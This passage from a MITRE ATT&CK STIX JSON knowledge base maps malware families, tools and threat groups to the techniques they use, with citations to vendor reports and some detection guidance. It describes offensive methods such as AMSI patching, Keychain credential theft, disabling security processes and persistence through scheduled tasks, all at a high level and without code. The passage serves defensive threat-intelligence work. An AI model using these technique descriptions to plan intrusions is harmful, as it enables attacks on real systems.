2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.933Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) has used the csc.exe tool to compile a C# executable.(Citation: Prevailion DarkWatchman 2021) ","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2263afd-2fd3-4f98-96a5-a00e5f33b99e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:38.879Z","description":"A [JPIN](https://attack.mitre.org/software/S0201) uses a encrypted and compressed payload that is disguised as a bitmap within the resource section of the installer.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d226c16d-ffb6-4a47-a5f1-7e1183b6c030","created":"2024-08-05T20:49:50.562Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T20:49:50.562Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d226d631-b611-450e-b904-aad115bbe77a","created":"2021-11-23T15:36:29.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro Iron Tiger April 2021","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.087Z","description":"(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d22af09f-5536-4416-827c-e401cfae3002","type":"relationship","created":"2019-04-10T15:21:29.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2019-06-28T15:05:33.935Z","description":"(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d22b326c-ceaf-424b-b263-e0830bab9bf3","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","url":"https://securelist.com/calisto-trojan-for-macos/86543/"},{"source_name":"Symantec Calisto July 2018","description":"Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.","url":"https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T19:42:40.615Z","description":"[Calisto](https://attack.mitre.org/software/S0274) collects Keychain storage data and copies those passwords/tokens to a file.(Citation: Securelist Calisto July 2018)(Citation: Symantec Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d22ecd26-4361-4266-8cd7-94af7418d4ee","type":"relationship","created":"2022-03-25T14:32:35.640Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:32:35.640Z","description":"[Donut](https://attack.mitre.org/software/S0695) can patch Antimalware Scan Interface (AMSI), Windows Lockdown Policy (WLDP), as well as exit-related [Native API](https://attack.mitre.org/techniques/T1106) functions to avoid process termination.(Citation: Donut Github)\t","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d231c64f-4a5f-43b8-a6e8-6ddd74d14eb3","type":"relationship","created":"2021-07-16T17:37:59.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Eli Salem GuLoader April 2021","url":"https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4","description":"Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021."}],"modified":"2021-09-14T21:50:06.544Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) has the ability to perform anti-debugging based on time checks, API calls, and CPUID.(Citation: Medium Eli Salem GuLoader April 2021)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d236947c-849f-4f4f-9ee5-ab4b78d04ef6","type":"relationship","created":"2021-04-01T16:38:16.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest parti","url":"https://objective-see.com/blog/blog_0x59.html","description":"Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."}],"modified":"2021-04-01T16:38:16.151Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) uses the kill_unwanted function to get a list of running processes, compares each process with an encrypted list of “unwanted” security related programs, and kills the processes for security related programs.(Citation: wardle evilquest parti)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d237fd35-4ad6-4f95-a779-e1d2a4ae2517","created":"2022-08-18T15:29:46.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3313 Feb 2022","description":"Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. Retrieved August 18, 2022.","url":"https://www.mandiant.com/resources/telegram-malware-iranian-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T15:23:17.973Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) has the ability to execute commands via `cmd.exe`.(Citation: Mandiant UNC3313 Feb 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d242dc5a-3969-498c-b7eb-5d850e7d384d","type":"relationship","created":"2017-05-31T21:33:27.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.","source_name":"Moran 2014"}],"modified":"2019-06-10T19:28:00.981Z","description":"(Citation: Moran 2014)","relationship_type":"uses","source_ref":"intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb","target_ref":"malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2437ab0-888b-4490-a825-f70a490b7192","type":"relationship","created":"2019-10-06T19:08:28.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.","url":"https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/","source_name":"Black Hills Attacking Exchange MailSniper, 2016"}],"modified":"2020-03-18T20:11:37.182Z","description":"[MailSniper](https://attack.mitre.org/software/S0413) can be used to obtain account names from Exchange and Office 365 using the Get-GlobalAddressList cmdlet.(Citation: Black Hills Attacking Exchange MailSniper, 2016)","relationship_type":"uses","source_ref":"tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2468213-1073-43d0-bd10-020b23597a6f","type":"relationship","created":"2020-06-23T22:28:28.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-23T22:28:28.085Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d24a47e5-e735-4cad-9c44-09d3a39d514c","type":"relationship","created":"2020-06-29T01:43:19.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}],"modified":"2020-06-29T01:43:19.527Z","description":"[Strider](https://attack.mitre.org/groups/G0041) has used a hidden file system that is stored as a file on disk.(Citation: Kaspersky ProjectSauron Full Report)","relationship_type":"uses","source_ref":"intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656","target_ref":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2560c35-b2f6-47d2-b573-236ef99894d5","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"},{"source_name":"CopyKittens Nov 2015","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}],"modified":"2020-03-28T21:36:32.534Z","description":"[Matryoshka](https://attack.mitre.org/software/S0167) can establish persistence by adding a Scheduled Task named \"Microsoft Boost Kernel Optimization\".(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)","relationship_type":"uses","source_ref":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d25f8661-bb36-479b-b5ca-ff21abc656b8","created":"2020-12-14T17:34:58.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:12:31.539Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) enumerates the directories of a network resource.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d263240f-c368-4796-96cc-f574f31fc2ae","created":"2022-09-30T14:48:33.939Z","revoked":false,"external_references":[{"source_name":"Rclone","description":"Nick Craig-Wood. (n.d.). Rclone syncs your files to cloud storage. Retrieved August 30, 2022.","url":"https://rclone.org"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T14:48:33.939Z","description":"[Rclone](https://attack.mitre.org/software/S1040) can compress files using `gzip` prior to exfiltration.(Citation: Rclone)","relationship_type":"uses","source_ref":"tool--59096109-a1dd-463b-87e7-a8d110fe3a79","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2638428-d31e-4ea4-80e1-26c9c25472d6","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:24:11.221Z","description":"[POORAIM](https://attack.mitre.org/software/S0216) can enumerate processes.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--53d47b09-09c2-4015-8d37-6633ecd53f79","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d264dcda-de7e-4196-9f7b-1408f2dda366","created":"2024-08-21T20:37:48.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"},{"source_name":"SentinelOne Cuckoo Stealer May 2024","description":"Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.","url":"https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-23T19:03:36.471Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can achieve persistence by creating launch agents to repeatedly execute malicious payloads.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d26abf6d-069b-4b7b-b408-cf9065ebef92","created":"2019-01-31T02:01:45.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Hacking FIN4 Video Dec 2014","description":"Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.","url":"https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html"},{"source_name":"FireEye Hacking FIN4 Dec 2014","description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-01T21:27:44.794Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has used HTTP POST requests to transmit data.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d26b3aeb-972f-471e-ab59-dc1ee2aa532e","type":"relationship","created":"2017-05-31T21:33:27.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 3"}],"modified":"2019-09-09T17:44:35.665Z","description":"(Citation: ESET Sednit Part 3)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d26e2b47-e474-402d-b3ff-423a8b64a68e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.147Z","description":"(Citation: Proofpoint Leviathan Oct 2017)(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d273b1b4-b263-4d9d-a02c-86f19c821dd6","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor for the usage of unexpected or unusual cookies to access resources and services. Forged web cookies may be associated with unknown accounts and could be the result of compromised secrets such as passwords or [Private Keys](https://attack.mitre.org/techniques/T1552/004).","source_ref":"x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428","target_ref":"attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d274629c-2a5b-4057-9181-6abacd8a158e","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor executed commands and arguments that may gather information about the victim's business relationships that can be used during targeting. Detecting the use of guardrails may be difficult depending on the implementation.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d275fe0c-3769-4fb1-80ee-2f8477019123","created":"2021-01-22T13:48:21.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.430Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used a Windows version of the Linux touch command to modify the date and time stamp on DLLs.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d27b805a-3570-434e-9ac7-e37407a4dd8e","type":"relationship","created":"2019-10-11T17:29:20.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList Griffon May 2019","url":"https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/","description":"Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig “FIN7” continues its activities. Retrieved October 11, 2019."}],"modified":"2020-03-16T15:50:23.616Z","description":"[GRIFFON](https://attack.mitre.org/software/S0417) has used sctasks for persistence. (Citation: SecureList Griffon May 2019)","relationship_type":"uses","source_ref":"malware--04fc1842-f9e4-47cf-8cb8-5c61becad142","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d27bfd8a-f9f3-4dbf-86a2-b12ac9ea3de8","created":"2024-05-29T19:05:46.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"},{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T20:22:46.181Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can fetch second stage code from hardcoded web domains.(Citation: Sophos Gootloader)(Citation: SentinelOne Gootloader June 